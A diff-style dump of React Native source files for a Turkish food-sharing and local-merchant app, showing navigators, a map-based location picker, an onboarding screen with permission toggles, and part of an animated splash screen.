||||||
|
function KomsuNavigator() {
|
||||||
|
return (
|
||||||
|
<KomsuStack.Navigator screenOptions={{headerShown: false}}>
|
||||||
|
<KomsuStack.Screen name="KomsuList" component={KomsuListScreen} />
|
||||||
|
<KomsuStack.Screen name="MealDetail" component={MealDetailScreen} />
|
||||||
|
<KomsuStack.Screen name="AiChat" component={AiChatScreen} />
|
||||||
|
</KomsuStack.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const OrdersStack = createNativeStackNavigator<OrdersStackParamList>();
|
||||||
|
function OrdersNavigator() {
|
||||||
|
return (
|
||||||
|
<OrdersStack.Navigator screenOptions={{headerShown: false}}>
|
||||||
|
<OrdersStack.Screen name="OrdersMain" component={OrdersScreen} />
|
||||||
|
<OrdersStack.Screen name="OrderDetail" component={OrderDetailScreen} />
|
||||||
|
<OrdersStack.Screen name="MealOrderDetail" component={MealOrderDetailScreen} />
|
||||||
|
<OrdersStack.Screen name="QrScan" component={QrScanScreen} />
|
||||||
|
</OrdersStack.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const EsnafStack = createNativeStackNavigator<EsnafStackParamList>();
|
||||||
|
function EsnafNavigator() {
|
||||||
|
return (
|
||||||
|
<EsnafStack.Navigator screenOptions={{headerShown: false}}>
|
||||||
|
<EsnafStack.Screen name="EsnafMap" component={EsnafMapScreen} />
|
||||||
|
<EsnafStack.Screen name="MerchantDetail" component={MerchantDetailScreen} />
|
||||||
|
<EsnafStack.Screen name="AiChat" component={AiChatScreen} />
|
||||||
|
</EsnafStack.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const ProfileStack = createNativeStackNavigator<ProfileStackParamList>();
|
||||||
|
function ProfileNavigator() {
|
||||||
|
return (
|
||||||
|
<ProfileStack.Navigator screenOptions={{headerShown: false}}>
|
||||||
|
<ProfileStack.Screen name="ProfileMain" component={ProfileScreen} />
|
||||||
|
<ProfileStack.Screen name="ChangePassword" component={ChangePasswordScreen} />
|
||||||
|
<ProfileStack.Screen name="Orders" component={OrdersScreen} />
|
||||||
|
<ProfileStack.Screen name="OrderDetail" component={OrderDetailScreen} />
|
||||||
|
<ProfileStack.Screen name="YemekMap" component={YemekMapScreen} />
|
||||||
|
<ProfileStack.Screen name="EsnafMap" component={EsnafMapScreen} />
|
||||||
|
<ProfileStack.Screen name="Faq" component={FaqScreen} />
|
||||||
|
<ProfileStack.Screen name="Appointments" component={AppointmentsScreen} />
|
||||||
|
<ProfileStack.Screen name="LoyaltyCards" component={LoyaltyCardsScreen} />
|
||||||
|
<ProfileStack.Screen name="Referral" component={ReferralScreen} />
|
||||||
|
<ProfileStack.Screen name="AiChat" component={AiChatScreen} />
|
||||||
|
</ProfileStack.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Tab Icon Component (vector icons like YS) ──
|
||||||
|
|
||||||
|
// ── Raised Center Button (YS style cart) ────────
|
||||||
|
|
||||||
|
function CenterTabIcon({focused}: {focused: boolean}) {
|
||||||
|
return (
|
||||||
|
<View style={centerStyles.outer}>
|
||||||
|
<View style={[centerStyles.circle, focused && centerStyles.circleFocused]}>
|
||||||
|
<Icon name="shopping-outline" size={28} color="#FFFFFF" />
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const centerStyles = StyleSheet.create({
|
||||||
|
outer: {
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
top: -18,
|
||||||
|
},
|
||||||
|
circle: {
|
||||||
|
width: 58,
|
||||||
|
height: 58,
|
||||||
|
borderRadius: 29,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
shadowColor: colors.primary,
|
||||||
|
shadowOffset: {width: 0, height: 6},
|
||||||
|
shadowOpacity: 0.4,
|
||||||
|
shadowRadius: 12,
|
||||||
|
elevation: 12,
|
||||||
|
},
|
||||||
|
circleFocused: {
|
||||||
|
backgroundColor: colors.primaryDark,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Tab Navigator ───────────────────────────────
|
||||||
|
|
||||||
|
const Tab = createBottomTabNavigator();
|
||||||
|
|
||||||
|
export default function MainTabNavigator() {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const bottomPadding = Math.max(insets.bottom, 34);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Tab.Navigator
|
||||||
|
screenOptions={{
|
||||||
|
headerShown: false,
|
||||||
|
tabBarActiveTintColor: colors.primary,
|
||||||
|
tabBarInactiveTintColor: '#6B7280',
|
||||||
|
tabBarStyle: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderTopWidth: 0,
|
||||||
|
height: 60 + bottomPadding,
|
||||||
|
paddingBottom: bottomPadding,
|
||||||
|
paddingTop: 8,
|
||||||
|
elevation: 24,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: -6},
|
||||||
|
shadowOpacity: 0.12,
|
||||||
|
shadowRadius: 16,
|
||||||
|
},
|
||||||
|
tabBarLabelStyle: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '700',
|
||||||
|
marginTop: 2,
|
||||||
|
},
|
||||||
|
}}>
|
||||||
|
<Tab.Screen
|
||||||
|
name="Paketler"
|
||||||
|
component={YemekNavigator}
|
||||||
|
options={{
|
||||||
|
tabBarLabel: t('tabs.paketler'),
|
||||||
|
tabBarIcon: ({color}) => (
|
||||||
|
<Icon name="shopping" size={26} color={color} />
|
||||||
|
),
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<Tab.Screen
|
||||||
|
name="Komsu"
|
||||||
|
component={KomsuNavigator}
|
||||||
|
options={{
|
||||||
|
tabBarLabel: t('tabs.komsu'),
|
||||||
|
tabBarIcon: ({color}) => (
|
||||||
|
<Icon name="home-group" size={26} color={color} />
|
||||||
|
),
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<Tab.Screen
|
||||||
|
name="Siparis"
|
||||||
|
component={OrdersNavigator}
|
||||||
|
options={{
|
||||||
|
tabBarLabel: '',
|
||||||
|
tabBarIcon: ({focused}) => <CenterTabIcon focused={focused} />,
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<Tab.Screen
|
||||||
|
name="Esnaf"
|
||||||
|
component={EsnafNavigator}
|
||||||
|
options={{
|
||||||
|
tabBarLabel: t('tabs.esnaf'),
|
||||||
|
tabBarIcon: ({color}) => (
|
||||||
|
<Icon name="store" size={26} color={color} />
|
||||||
|
),
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<Tab.Screen
|
||||||
|
name="Profil"
|
||||||
|
component={ProfileNavigator}
|
||||||
|
options={{
|
||||||
|
tabBarLabel: t('tabs.hesabim'),
|
||||||
|
tabBarIcon: ({color}) => (
|
||||||
|
<Icon name="account" size={26} color={color} />
|
||||||
|
),
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</Tab.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,153 @@
|
|||||||
|
import React, {useState, useEffect} from 'react';
|
||||||
|
import {View, Text, TouchableOpacity, StyleSheet, Alert} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import MapView, {Marker, Region} from 'react-native-maps';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
import {useLocationStore} from '../store/locationStore';
|
||||||
|
|
||||||
|
// Default: Istanbul center (for demo)
|
||||||
|
const DEFAULT_REGION: Region = {
|
||||||
|
latitude: 41.0082,
|
||||||
|
longitude: 28.9784,
|
||||||
|
latitudeDelta: 0.05,
|
||||||
|
longitudeDelta: 0.05,
|
||||||
|
};
|
||||||
|
|
||||||
|
export default function LocationPickerScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {latitude, longitude, setLocation, updateLocation} = useLocationStore();
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const [region, setRegion] = useState<Region>(
|
||||||
|
latitude && longitude
|
||||||
|
? {latitude, longitude, latitudeDelta: 0.01, longitudeDelta: 0.01}
|
||||||
|
: DEFAULT_REGION,
|
||||||
|
);
|
||||||
|
const [pin, setPin] = useState({
|
||||||
|
latitude: latitude || DEFAULT_REGION.latitude,
|
||||||
|
longitude: longitude || DEFAULT_REGION.longitude,
|
||||||
|
});
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
// Silently try to get location on mount — no alerts
|
||||||
|
updateLocation().then(() => {
|
||||||
|
const store = useLocationStore.getState();
|
||||||
|
if (store.latitude && store.longitude) {
|
||||||
|
setPin({latitude: store.latitude, longitude: store.longitude});
|
||||||
|
setRegion({
|
||||||
|
latitude: store.latitude,
|
||||||
|
longitude: store.longitude,
|
||||||
|
latitudeDelta: 0.01,
|
||||||
|
longitudeDelta: 0.01,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
// If failed, map shows default region — user can pick manually
|
||||||
|
});
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleConfirm = () => {
|
||||||
|
setLocation(pin.latitude, pin.longitude);
|
||||||
|
navigation.goBack();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleUseMyLocation = async () => {
|
||||||
|
await updateLocation();
|
||||||
|
const store = useLocationStore.getState();
|
||||||
|
if (store.latitude && store.longitude) {
|
||||||
|
setPin({latitude: store.latitude, longitude: store.longitude});
|
||||||
|
setRegion({
|
||||||
|
latitude: store.latitude,
|
||||||
|
longitude: store.longitude,
|
||||||
|
latitudeDelta: 0.01,
|
||||||
|
longitudeDelta: 0.01,
|
||||||
|
});
|
||||||
|
} else if (!store.permissionGranted) {
|
||||||
|
Alert.alert(t('locationPicker.permissionRequired'), t('locationPicker.permissionMessage'));
|
||||||
|
} else {
|
||||||
|
Alert.alert(t('locationPicker.gpsError'), t('locationPicker.gpsErrorMessage'));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>{'\u2190'}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('locationPicker.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Map */}
|
||||||
|
<MapView
|
||||||
|
style={styles.map}
|
||||||
|
region={region}
|
||||||
|
onRegionChangeComplete={setRegion}
|
||||||
|
onPress={e => {
|
||||||
|
setPin(e.nativeEvent.coordinate);
|
||||||
|
}}>
|
||||||
|
<Marker
|
||||||
|
coordinate={pin}
|
||||||
|
draggable
|
||||||
|
onDragEnd={e => setPin(e.nativeEvent.coordinate)}
|
||||||
|
/>
|
||||||
|
</MapView>
|
||||||
|
|
||||||
|
{/* Bottom panel */}
|
||||||
|
<View style={[styles.bottomPanel, {paddingBottom: Math.max(insets.bottom, 20)}]}>
|
||||||
|
<Text style={styles.coordText}>
|
||||||
|
{pin.latitude.toFixed(4)}, {pin.longitude.toFixed(4)}
|
||||||
|
</Text>
|
||||||
|
|
||||||
|
<TouchableOpacity style={styles.myLocationBtn} onPress={handleUseMyLocation}>
|
||||||
|
<Text style={styles.myLocationText}>📍 {t('locationPicker.useMyLocation')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<TouchableOpacity style={styles.confirmBtn} onPress={handleConfirm}>
|
||||||
|
<Text style={styles.confirmText}>{t('locationPicker.confirm')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: colors.primary,
|
||||||
|
zIndex: 10,
|
||||||
|
},
|
||||||
|
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
map: {flex: 1},
|
||||||
|
bottomPanel: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
paddingHorizontal: 20,
|
||||||
|
paddingTop: 16,
|
||||||
|
borderTopLeftRadius: 20,
|
||||||
|
borderTopRightRadius: 20,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: -4},
|
||||||
|
shadowOpacity: 0.1,
|
||||||
|
shadowRadius: 12,
|
||||||
|
elevation: 10,
|
||||||
|
},
|
||||||
|
coordText: {
|
||||||
|
fontSize: 13, color: '#9CA3AF', textAlign: 'center', marginBottom: 12,
|
||||||
|
},
|
||||||
|
myLocationBtn: {
|
||||||
|
paddingVertical: 12, borderRadius: 12,
|
||||||
|
borderWidth: 1, borderColor: colors.primary,
|
||||||
|
alignItems: 'center', marginBottom: 10,
|
||||||
|
},
|
||||||
|
myLocationText: {fontSize: 15, fontWeight: '600', color: colors.primary},
|
||||||
|
confirmBtn: {
|
||||||
|
backgroundColor: colors.primary, borderRadius: 12,
|
||||||
|
paddingVertical: 16, alignItems: 'center',
|
||||||
|
},
|
||||||
|
confirmText: {fontSize: 16, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,336 @@
|
|||||||
|
import React, {useState, useRef} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
StyleSheet,
|
||||||
|
Dimensions,
|
||||||
|
TouchableOpacity,
|
||||||
|
FlatList,
|
||||||
|
Image,
|
||||||
|
StatusBar,
|
||||||
|
Switch,
|
||||||
|
PermissionsAndroid,
|
||||||
|
Platform,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
// TODO: Replace with expo-notifications in Faz 4
|
||||||
|
const messaging = Object.assign(
|
||||||
|
() => ({ requestPermission: async () => 1, getToken: async () => '' }),
|
||||||
|
{ AuthorizationStatus: { AUTHORIZED: 1, PROVISIONAL: 2, NOT_DETERMINED: -1, DENIED: 0 } }
|
||||||
|
);
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
import {useLocationStore} from '../store/locationStore';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
|
||||||
|
const {width} = Dimensions.get('window');
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
|
||||||
|
const ONBOARDING_KEY = '@bereketli_onboarding_done';
|
||||||
|
|
||||||
|
interface OnboardingScreenProps {
|
||||||
|
onFinish: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const SLIDES = [
|
||||||
|
{
|
||||||
|
titleKey: 'onboarding.slide1Title',
|
||||||
|
descKey: 'onboarding.slide1Desc',
|
||||||
|
image: `${BASE_URL}/bereketli_paket.png`,
|
||||||
|
bg: '#1B4332',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
titleKey: 'onboarding.slide2Title',
|
||||||
|
descKey: 'onboarding.slide2Desc',
|
||||||
|
image: `${BASE_URL}/store-owner.png`,
|
||||||
|
bg: '#92400E',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
titleKey: 'onboarding.slide3Title',
|
||||||
|
descKey: 'onboarding.slide3Desc',
|
||||||
|
image: `${BASE_URL}/logo.png`,
|
||||||
|
bg: '#2D6A4F',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
export default function OnboardingScreen({onFinish}: OnboardingScreenProps) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [currentIndex, setCurrentIndex] = useState(0);
|
||||||
|
const [locationEnabled, setLocationEnabled] = useState(true);
|
||||||
|
const [notifEnabled, setNotifEnabled] = useState(true);
|
||||||
|
const [micEnabled, setMicEnabled] = useState(true);
|
||||||
|
const [cameraEnabled, setCameraEnabled] = useState(true);
|
||||||
|
const flatListRef = useRef<FlatList>(null);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const {updateLocation} = useLocationStore();
|
||||||
|
|
||||||
|
const handleNext = async () => {
|
||||||
|
if (currentIndex < SLIDES.length - 1) {
|
||||||
|
flatListRef.current?.scrollToIndex({index: currentIndex + 1});
|
||||||
|
setCurrentIndex(currentIndex + 1);
|
||||||
|
} else {
|
||||||
|
// Last slide — request selected permissions then finish
|
||||||
|
if (locationEnabled) {
|
||||||
|
await updateLocation();
|
||||||
|
}
|
||||||
|
if (notifEnabled) {
|
||||||
|
try {
|
||||||
|
const authStatus = await messaging().requestPermission();
|
||||||
|
if (authStatus === messaging.AuthorizationStatus.AUTHORIZED ||
|
||||||
|
authStatus === messaging.AuthorizationStatus.PROVISIONAL) {
|
||||||
|
await AsyncStorage.setItem('@bereketli_notif_enabled', 'true');
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
if (Platform.OS === 'android') {
|
||||||
|
if (micEnabled) {
|
||||||
|
try { await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.RECORD_AUDIO); } catch {}
|
||||||
|
}
|
||||||
|
if (cameraEnabled) {
|
||||||
|
try { await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.CAMERA); } catch {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
await AsyncStorage.setItem(ONBOARDING_KEY, 'true');
|
||||||
|
onFinish();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleSkip = async () => {
|
||||||
|
await AsyncStorage.setItem(ONBOARDING_KEY, 'true');
|
||||||
|
onFinish();
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<StatusBar barStyle="light-content" />
|
||||||
|
|
||||||
|
<FlatList
|
||||||
|
ref={flatListRef}
|
||||||
|
data={SLIDES}
|
||||||
|
horizontal
|
||||||
|
pagingEnabled
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
scrollEnabled={false}
|
||||||
|
keyExtractor={(_, i) => String(i)}
|
||||||
|
onMomentumScrollEnd={e => {
|
||||||
|
const idx = Math.round(e.nativeEvent.contentOffset.x / width);
|
||||||
|
setCurrentIndex(idx);
|
||||||
|
}}
|
||||||
|
renderItem={({item, index}) => (
|
||||||
|
<View style={[styles.slide, {width, backgroundColor: item.bg}]}>
|
||||||
|
<View style={[styles.slideContent, {paddingTop: insets.top + 60}]}>
|
||||||
|
<Image
|
||||||
|
source={{uri: item.image}}
|
||||||
|
style={styles.slideImage}
|
||||||
|
resizeMode="contain"
|
||||||
|
/>
|
||||||
|
<Text style={styles.slideTitle}>{t(item.titleKey)}</Text>
|
||||||
|
<Text style={styles.slideDesc}>{t(item.descKey)}</Text>
|
||||||
|
|
||||||
|
{index === SLIDES.length - 1 && (
|
||||||
|
<View style={styles.permissionsBox}>
|
||||||
|
<View style={styles.permRow}>
|
||||||
|
<View style={styles.permInfo}>
|
||||||
|
<Text style={styles.permIcon}>📍</Text>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.permLabel}>{t('onboarding.locationLabel')}</Text>
|
||||||
|
<Text style={styles.permDesc}>{t('onboarding.locationDesc')}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<Switch
|
||||||
|
value={locationEnabled}
|
||||||
|
onValueChange={setLocationEnabled}
|
||||||
|
trackColor={{false: '#666666', true: '#FBBF24'}}
|
||||||
|
thumbColor={'#FFFFFF'}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
<View style={styles.permDivider} />
|
||||||
|
<View style={styles.permRow}>
|
||||||
|
<View style={styles.permInfo}>
|
||||||
|
<Text style={styles.permIcon}>🔔</Text>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.permLabel}>{t('onboarding.notificationLabel')}</Text>
|
||||||
|
<Text style={styles.permDesc}>{t('onboarding.notificationDesc')}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<Switch
|
||||||
|
value={notifEnabled}
|
||||||
|
onValueChange={setNotifEnabled}
|
||||||
|
trackColor={{false: '#666666', true: '#FBBF24'}}
|
||||||
|
thumbColor={'#FFFFFF'}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
<View style={styles.permDivider} />
|
||||||
|
<View style={styles.permRow}>
|
||||||
|
<View style={styles.permInfo}>
|
||||||
|
<Text style={styles.permIcon}>🎤</Text>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.permLabel}>{t('onboarding.micLabel')}</Text>
|
||||||
|
<Text style={styles.permDesc}>{t('onboarding.micDesc')}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<Switch
|
||||||
|
value={micEnabled}
|
||||||
|
onValueChange={setMicEnabled}
|
||||||
|
trackColor={{false: '#666666', true: '#FBBF24'}}
|
||||||
|
thumbColor={'#FFFFFF'}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
<View style={styles.permDivider} />
|
||||||
|
<View style={styles.permRow}>
|
||||||
|
<View style={styles.permInfo}>
|
||||||
|
<Text style={styles.permIcon}>📷</Text>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.permLabel}>{t('onboarding.cameraLabel')}</Text>
|
||||||
|
<Text style={styles.permDesc}>{t('onboarding.cameraDesc')}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<Switch
|
||||||
|
value={cameraEnabled}
|
||||||
|
onValueChange={setCameraEnabled}
|
||||||
|
trackColor={{false: '#666666', true: '#FBBF24'}}
|
||||||
|
thumbColor={'#FFFFFF'}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Bottom controls */}
|
||||||
|
<View style={[styles.bottom, {paddingBottom: Math.max(insets.bottom, 30)}]}>
|
||||||
|
{/* Dots */}
|
||||||
|
<View style={styles.dots}>
|
||||||
|
{SLIDES.map((_, i) => (
|
||||||
|
<View
|
||||||
|
key={i}
|
||||||
|
style={[styles.dot, i === currentIndex && styles.dotActive]}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Buttons */}
|
||||||
|
<View style={styles.buttonRow}>
|
||||||
|
{currentIndex < SLIDES.length - 1 ? (
|
||||||
|
<>
|
||||||
|
<TouchableOpacity onPress={handleSkip}>
|
||||||
|
<Text style={styles.skipText}>{t('onboarding.skip')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={styles.nextBtn} onPress={handleNext}>
|
||||||
|
<Text style={styles.nextBtnText}>{t('onboarding.next')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<TouchableOpacity style={[styles.nextBtn, styles.startBtn]} onPress={handleNext}>
|
||||||
|
<Text style={styles.nextBtnText}>{t('onboarding.start')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export {ONBOARDING_KEY};
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1},
|
||||||
|
slide: {flex: 1, justifyContent: 'center'},
|
||||||
|
slideContent: {
|
||||||
|
flex: 1,
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
paddingHorizontal: 40,
|
||||||
|
},
|
||||||
|
slideImage: {
|
||||||
|
width: 180,
|
||||||
|
height: 180,
|
||||||
|
marginBottom: 32,
|
||||||
|
},
|
||||||
|
slideTitle: {
|
||||||
|
fontSize: 28,
|
||||||
|
fontWeight: '800',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
textAlign: 'center',
|
||||||
|
marginBottom: 16,
|
||||||
|
},
|
||||||
|
slideDesc: {
|
||||||
|
fontSize: 16,
|
||||||
|
color: 'rgba(255,255,255,0.8)',
|
||||||
|
textAlign: 'center',
|
||||||
|
lineHeight: 24,
|
||||||
|
},
|
||||||
|
bottom: {
|
||||||
|
position: 'absolute',
|
||||||
|
bottom: 0,
|
||||||
|
left: 0,
|
||||||
|
right: 0,
|
||||||
|
paddingHorizontal: 24,
|
||||||
|
},
|
||||||
|
dots: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'center',
|
||||||
|
gap: 8,
|
||||||
|
marginBottom: 24,
|
||||||
|
},
|
||||||
|
dot: {
|
||||||
|
width: 8,
|
||||||
|
height: 8,
|
||||||
|
borderRadius: 4,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.3)',
|
||||||
|
},
|
||||||
|
dotActive: {
|
||||||
|
width: 24,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
buttonRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
skipText: {
|
||||||
|
fontSize: 16,
|
||||||
|
color: 'rgba(255,255,255,0.6)',
|
||||||
|
fontWeight: '500',
|
||||||
|
},
|
||||||
|
nextBtn: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 14,
|
||||||
|
paddingHorizontal: 32,
|
||||||
|
paddingVertical: 14,
|
||||||
|
},
|
||||||
|
startBtn: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
permissionsBox: {
|
||||||
|
marginTop: 28,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.12)',
|
||||||
|
borderRadius: 16,
|
||||||
|
padding: 16,
|
||||||
|
width: '100%',
|
||||||
|
},
|
||||||
|
permRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
paddingVertical: 6,
|
||||||
|
},
|
||||||
|
permInfo: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 12,
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
permIcon: {fontSize: 22},
|
||||||
|
permLabel: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
permDesc: {fontSize: 11, color: 'rgba(255,255,255,0.6)', marginTop: 1},
|
||||||
|
permDivider: {height: 1, backgroundColor: 'rgba(255,255,255,0.1)', marginVertical: 8},
|
||||||
|
nextBtnText: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: colors.primary,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,181 @@
|
|||||||
|
import React, {useEffect, useRef} from 'react';
|
||||||
|
import {View, Text, Image, StyleSheet, Animated, StatusBar, Dimensions} from 'react-native';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
|
||||||
|
const {width} = Dimensions.get('window');
|
||||||
|
|
||||||
|
interface SplashScreenProps {
|
||||||
|
onFinish: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function SplashScreen({onFinish}: SplashScreenProps) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const logoScale = useRef(new Animated.Value(0.3)).current;
|
||||||
|
const logoOpacity = useRef(new Animated.Value(0)).current;
|
||||||
|
const textOpacity = useRef(new Animated.Value(0)).current;
|
||||||
|
const subtitleOpacity = useRef(new Animated.Value(0)).current;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
// Logo fade in + scale
|
||||||
|
Animated.sequence([
|
||||||
|
Animated.parallel([
|
||||||
|
Animated.spring(logoScale, {
|
||||||
|
toValue: 1,
|
||||||
|
friction: 4,
|
||||||
|
tension: 40,
|
||||||
|
useNativeDriver: true,
|
||||||
|
}),
|
||||||
|
Animated.timing(logoOpacity, {
|
||||||
|
toValue: 1,
|
||||||
|
duration: 400,
|
||||||
|
useNativeDriver: true,
|
||||||
|
}),
|
||||||
|
]),
|
||||||
|
// Title fade in
|
||||||
|
Animated.timing(textOpacity, {
|
||||||
|
toValue: 1,
|
||||||
|
duration: 300,
|
||||||
|
useNativeDriver: true,
|
||||||
|
}),
|
||||||
|
// Subtitle fade in
|
||||||
|
Animated.timing(subtitleOpacity, {
|
||||||
|
toValue: 1,
|
||||||
|
duration: 300,
|
||||||
|
useNativeDriver: true,
|
||||||
|
}),
|
||||||
|
]).start();
|
||||||
|
|
||||||
|
// Auto dismiss after 2.5s
|
||||||
|
const timer = setTimeout(onFinish, 2500);
|
||||||
|
return () => clearTimeout(timer);
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- Animated refs are stable, onFinish is captured at mount; splash runs only once
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<StatusBar barStyle="light-content" backgroundColor={colors.primary} />
|
||||||
|
|
||||||
|
